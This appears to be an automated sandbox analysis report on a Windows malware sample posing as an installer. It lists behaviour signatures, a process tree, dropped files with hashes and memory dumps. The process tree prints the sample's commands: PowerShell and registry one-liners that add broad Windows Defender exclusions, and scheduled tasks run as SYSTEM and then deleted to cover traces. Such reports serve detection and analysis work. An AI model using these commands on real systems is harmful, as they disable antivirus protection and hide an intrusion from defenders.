Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/10/2026, 09:22

General

  • Target
    appnstaller.1.2.13.exe
  • Size 33.1MB
  • Sample261007-lcavdawz2p
  • SHA256 978ee8b75ba315930e22882ade4b7c0bca6874ebafee6eb1919327959b2ad43a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 3 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\appnstaller.1.2.13.exe
    "C:\Users\Admin\AppData\Local\Temp\appnstaller.1.2.13.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:3416
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:1332
    • C:\Users\Public\TLLs8W\SPCnF8.exe
      "C:\Users\Public\TLLs8W\SPCnF8.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      PID:6100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:2328
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TLLs8W\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        PID:6136
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TLLs8W\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5604
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:5716
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:5656
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            PID:1628
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5956
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:1712
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:2772
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                PID:3208
            • C:\Windows\system32\cmd.exe
              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\TLLs8W" /t REG_DWORD /d 0 /f
              1⤵
              • Executes a command shell one-liner
              PID:2172
            • C:\Windows\system32\cmd.exe
              cmd.exe
              1⤵
                PID:5912
              • C:\Users\Public\TLLs8W\SPCnF8.exe
                "C:\Users\Public\TLLs8W\SPCnF8.exe"
                1⤵
                  PID:2144
                • C:\Windows\system32\cmd.exe
                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                  1⤵
                  • Executes a command shell one-liner
                  PID:5168

                Network

                      MITRE ATT&CK Enterprise v16

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                      Downloads

                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                      • Size 1KB
                      • SHA256 64ab13be4820b4513ae3df385742a6404c89df7ac70ad4c3349886e153d1744c
                      • MD5 SHA1 SHA512 TLSH

                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                      • Size 1KB
                      • SHA256 83351e8e6a7b3720b59e8715a0d02e54b105e7d5c70b7e9652ce07ac2fd1318f
                      • MD5 SHA1 SHA512 TLSH

                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                      • Size 512B
                      • SHA256 83e6a69348848e2ab15d05e52594d2272c7e487aa9583d21e4508839e74f426a
                      • MD5 SHA1 SHA512 TLSH

                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                      • Size 506B
                      • SHA256 87069a419dbee3a96bf31b67b1ce33256f1c0230d36c5dfe16b8e68f0518ff38
                      • MD5 SHA1 SHA512 TLSH

                      SPCnF8.exe

                      • Path C:\Users\Public\TLLs8W\SPCnF8.exe
                      • Size 135KB
                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      UxEnhance64.dll

                      • Path C:\Users\Public\TLLs8W\UxEnhance64.dll
                      • Size 3.1MB
                      • SHA256 aeaf20f326632c199bc0284393ed4e690d1b1ced823d7d5ed705b7a879e6c9cd
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      adoresd.dat

                      • Path C:\Users\Public\TLLs8W\adoresd.dat
                      • Size 4.7MB
                      • SHA256 ba1a7d0cd4491878bf8431e47c6ff9ccbf70157f4d60198a39119a8d90702166
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      msadox.tb

                      • Path C:\Users\Public\TLLs8W\msadox.tb
                      • Size 8KB
                      • SHA256 59549dd227568138e9b00dc24af58ce83553778b541567594a382383d249776c
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      memory/2144-585-0x000001D96E580000-0x000001D96EE07000-memory.dmp

                      memory/2144-581-0x00007FFC3D0D0000-0x00007FFC3D5EE000-memory.dmp

                      memory/3416-0-0x00000000005B0000-0x00000000005BE000-memory.dmp

                      memory/3416-527-0x00007FFC551D0000-0x00007FFC551E2000-memory.dmp

                      memory/3416-526-0x00000000005B0000-0x00000000005BE000-memory.dmp

                      memory/3416-504-0x00007FFC551D0000-0x00007FFC551E2000-memory.dmp

                      memory/3416-2-0x00000000005C0000-0x00000000005CC000-memory.dmp

                      memory/3416-1-0x00000000005B0000-0x00000000005BE000-memory.dmp

                      memory/6100-548-0x000001796C040000-0x000001796C8C7000-memory.dmp

                      memory/6100-567-0x000001796C040000-0x000001796C8C7000-memory.dmp

                      memory/6100-549-0x000001796C040000-0x000001796C8C7000-memory.dmp

                      memory/6100-554-0x000001796C040000-0x000001796C8C7000-memory.dmp

                      memory/6100-560-0x000001796B630000-0x000001796B67E000-memory.dmp

                      memory/6100-565-0x000001796C960000-0x000001796C9EA000-memory.dmp

                      memory/6100-563-0x000001796C960000-0x000001796C9EA000-memory.dmp

                      memory/6100-562-0x000001796C960000-0x000001796C9EA000-memory.dmp

                      memory/6100-561-0x000001796C960000-0x000001796C9EA000-memory.dmp

                      memory/6100-550-0x000001796C040000-0x000001796C8C7000-memory.dmp

                      memory/6100-569-0x000001796C040000-0x000001796C8C7000-memory.dmp

                      memory/6100-570-0x000001796C040000-0x000001796C8C7000-memory.dmp

                      memory/6100-544-0x000001796C040000-0x000001796C8C7000-memory.dmp

                      memory/6100-547-0x000001796C040000-0x000001796C8C7000-memory.dmp

                      memory/6100-542-0x00007FFC5DB40000-0x00007FFC5DB42000-memory.dmp

                      memory/6100-541-0x000001796C040000-0x000001796C8C7000-memory.dmp

                      memory/6100-535-0x00007FFC3D0D0000-0x00007FFC3D5EE000-memory.dmp

                      memory/6100-534-0x00007FFC5DB30000-0x00007FFC5DB32000-memory.dmp